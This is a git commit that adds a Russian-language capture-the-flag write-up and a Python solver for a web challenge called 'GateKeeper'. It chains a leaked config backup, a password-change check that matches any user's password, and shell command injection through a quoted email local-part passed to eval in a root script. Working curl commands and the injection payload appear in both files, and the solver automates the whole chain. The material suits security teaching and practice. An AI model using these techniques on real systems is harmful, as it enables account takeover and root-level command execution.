Init. Commit
This commit is contained in:
@@ -0,0 +1,59 @@
|
||||
<h1 align="center">GateKeeper</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-Web-blueviolet" alt="Web"/>
|
||||
<img src="https://img.shields.io/badge/difficulty-hard-critical" alt="hard"/>
|
||||
</p>
|
||||
|
||||
GateKeeper GW-7 — панель сетевого шлюза. Регистрации нет, есть только `admin` и `operator`. Флаг лежит в `/root/flag.txt`, а веб-приложение работает от `gk`. Для чтения файла используем утечку конфига, смену чужого пароля и синхронизацию пользователя.
|
||||
|
||||
## Решение
|
||||
|
||||
### Получение прав администратора
|
||||
|
||||
В статике находим `/static/config.json.bak`. Бэкап содержит пароль `operator`. Входим через `POST /login` с JSON-полями `username` и `password`, сохраняем cookie `gk_session`.
|
||||
|
||||
У оператора мало прав, но есть смена собственного пароля. Проверяем её запросом к `POST /account/password`. Обработчик ищет совпадение `old_password` с паролем любого пользователя, не связывая его с полем `username`.
|
||||
|
||||
С cookie оператора отправляем в `POST /account/password` имя администратора и известный пароль оператора:
|
||||
|
||||
```json
|
||||
{
|
||||
"username":"admin",
|
||||
"old_password":"<пароль operator из бэкапа>",
|
||||
"new_password":"gk_pwned_2026"
|
||||
}
|
||||
```
|
||||
|
||||
Проверка проходит, пароль `admin` меняется. Повторяем `POST /login` с `username=admin` и новым паролем `gk_pwned_2026`. Сохраняем новую cookie `gk_session` и используем её для административной синхронизации.
|
||||
|
||||
### Выполнение команды через email
|
||||
|
||||
`POST /admin/directory/sync` принимает `email` и вызывает `sudo /opt/gk/bin/sync_user.sh <email>`. У `gk` есть право запускать этот скрипт от root без пароля.
|
||||
|
||||
Фильтр исходной строки блокирует `;`, `|`, обратные кавычки и несколько других операторов. Но email-парсер принимает local-part в двойных кавычках и снимает их при нормализации. Затем скрипт подставляет результат в `eval` без кавычек.
|
||||
|
||||
Отправляем из администраторской сессии:
|
||||
|
||||
```bash
|
||||
curl -sS http://<host>:18113/admin/directory/sync \
|
||||
-b 'gk_session=<сессия admin>' \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"email":"\"x$(cp /root/flag.txt /opt/gk/www/public/f.txt)\"@gw.local"}'
|
||||
```
|
||||
|
||||
Сырой email проходит парсер задания. После нормализации и `eval` конструкция `$(cp ...)` исполняется от root и копирует флаг в каталог веб-раздачи.
|
||||
|
||||
Вывод скрипта в HTTP-ответе не показывают. Зато `/opt/gk/www/public` доступен как `/public/`, а скрипт выставляет права `a+rX`:
|
||||
|
||||
```bash
|
||||
curl -sS http://<host>:18113/public/f.txt
|
||||
```
|
||||
|
||||
Получаем содержимое закрытого файла. Ключевой переход здесь — от строки, допустимой для email-парсера, к той же строке как к части shell-команды.
|
||||
|
||||
[Солвер](solve/solve.py).
|
||||
|
||||
## Флаг
|
||||
|
||||
`CAPLAG{rfc5322_qu0t3d_sh3ll_1nj}`
|
||||
@@ -0,0 +1,123 @@
|
||||
#!/usr/bin/env python3
|
||||
# solve.py — автоматическое решение задания GateKeeper (только stdlib).
|
||||
#
|
||||
# Проходит все 4 слоя:
|
||||
# 1. Info leak: GET /static/config.json.bak -> креды operator
|
||||
# 2. Auth bypass: POST /account/password (old_password сверяется с ЛЮБЫМ
|
||||
# пользователем) -> меняем пароль admin, логинимся как admin
|
||||
# 3. Cmd inject: POST /admin/directory/sync с RFC 5322 quoted-string email
|
||||
# '"x$(cp /root/flag.txt /opt/gk/www/public/f.txt)"@gw.local'
|
||||
# 4. Exfil: GET /public/f.txt -> флаг
|
||||
#
|
||||
# Запуск: python solve.py http://localhost:18113
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
import http.cookiejar
|
||||
|
||||
PAYLOAD_EMAIL = '"x$(cp /root/flag.txt /opt/gk/www/public/f.txt)"@gw.local'
|
||||
EXFIL_PATH = "/public/f.txt"
|
||||
FLAG_RE = re.compile(r"CAPLAG\{[^}\r\n]+\}")
|
||||
|
||||
|
||||
def make_client(base):
|
||||
cj = http.cookiejar.CookieJar()
|
||||
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
|
||||
|
||||
def req(method, path, body=None):
|
||||
data = None
|
||||
headers = {}
|
||||
if body is not None:
|
||||
data = json.dumps(body).encode()
|
||||
headers["Content-Type"] = "application/json"
|
||||
r = urllib.request.Request(base + path, data=data, headers=headers, method=method)
|
||||
try:
|
||||
with opener.open(r, timeout=15) as resp:
|
||||
return resp.status, resp.read().decode("utf-8", "replace")
|
||||
except urllib.error.HTTPError as e:
|
||||
return e.code, e.read().decode("utf-8", "replace")
|
||||
|
||||
return req
|
||||
|
||||
|
||||
def step(msg):
|
||||
print(f"[*] {msg}")
|
||||
|
||||
|
||||
def ok(msg):
|
||||
print(f"[+] {msg}")
|
||||
|
||||
|
||||
def die(msg):
|
||||
print(f"[-] FAIL: {msg}")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) != 2:
|
||||
print(f"usage: python {sys.argv[0]} http://localhost:PORT")
|
||||
sys.exit(2)
|
||||
base = sys.argv[1].rstrip("/")
|
||||
req = make_client(base)
|
||||
|
||||
# --- Слой 1: info leak ---
|
||||
step(f"слой 1: читаем {base}/static/config.json.bak")
|
||||
code, text = req("GET", "/static/config.json.bak")
|
||||
if code != 200:
|
||||
die(f"config.json.bak недоступен (HTTP {code})")
|
||||
m = re.search(r'"operator"\s*:\s*\{[^}]*?"password"\s*:\s*"([^"]+)"', text, re.S)
|
||||
if not m:
|
||||
die("пароль operator не найден в бэкапе конфига")
|
||||
op_user, op_pass = "operator", m.group(1)
|
||||
ok(f"утёкшие креды: {op_user}:{op_pass}")
|
||||
|
||||
# --- Логин operator ---
|
||||
step("логинимся как operator")
|
||||
code, text = req("POST", "/login", {"username": op_user, "password": op_pass})
|
||||
if code != 200:
|
||||
die(f"login operator: HTTP {code}: {text}")
|
||||
ok("сессия operator получена")
|
||||
|
||||
# --- Слой 2: auth bypass в смене пароля ---
|
||||
step("слой 2: меняем пароль admin, предъявляя СВОЙ (operator) пароль как old_password")
|
||||
new_admin_pass = "gk_pwned_2026"
|
||||
code, text = req("POST", "/account/password", {
|
||||
"username": "admin",
|
||||
"old_password": op_pass, # BUG: сверяется с паролем ЛЮБОГО пользователя
|
||||
"new_password": new_admin_pass,
|
||||
})
|
||||
if code != 200:
|
||||
die(f"auth bypass не сработал: HTTP {code}: {text}")
|
||||
ok("пароль admin перезаписан (old_password сверен с чужой учёткой)")
|
||||
|
||||
# --- Логин admin ---
|
||||
step("логинимся как admin")
|
||||
code, text = req("POST", "/login", {"username": "admin", "password": new_admin_pass})
|
||||
if code != 200:
|
||||
die(f"login admin: HTTP {code}: {text}")
|
||||
ok("сессия admin получена")
|
||||
|
||||
# --- Слой 3: command injection через RFC-valid email ---
|
||||
step(f"слой 3: инъекция через quoted-string email: {PAYLOAD_EMAIL}")
|
||||
code, text = req("POST", "/admin/directory/sync", {"email": PAYLOAD_EMAIL})
|
||||
if code != 200:
|
||||
die(f"sync: HTTP {code}: {text}")
|
||||
ok(f"payload принят (RFC-валиден, фильтр обойдён): {text.strip()}")
|
||||
|
||||
# --- Слой 4: эксфильтрация ---
|
||||
step(f"слой 4: забираем флаг: GET {base}{EXFIL_PATH}")
|
||||
code, text = req("GET", EXFIL_PATH)
|
||||
if code != 200:
|
||||
die(f"эксфильтрация не удалась: HTTP {code}")
|
||||
m = FLAG_RE.search(text)
|
||||
if not m:
|
||||
die(f"файл получен, но флага нет: {text!r}")
|
||||
ok("флаг получен!")
|
||||
print()
|
||||
print(m.group(0))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user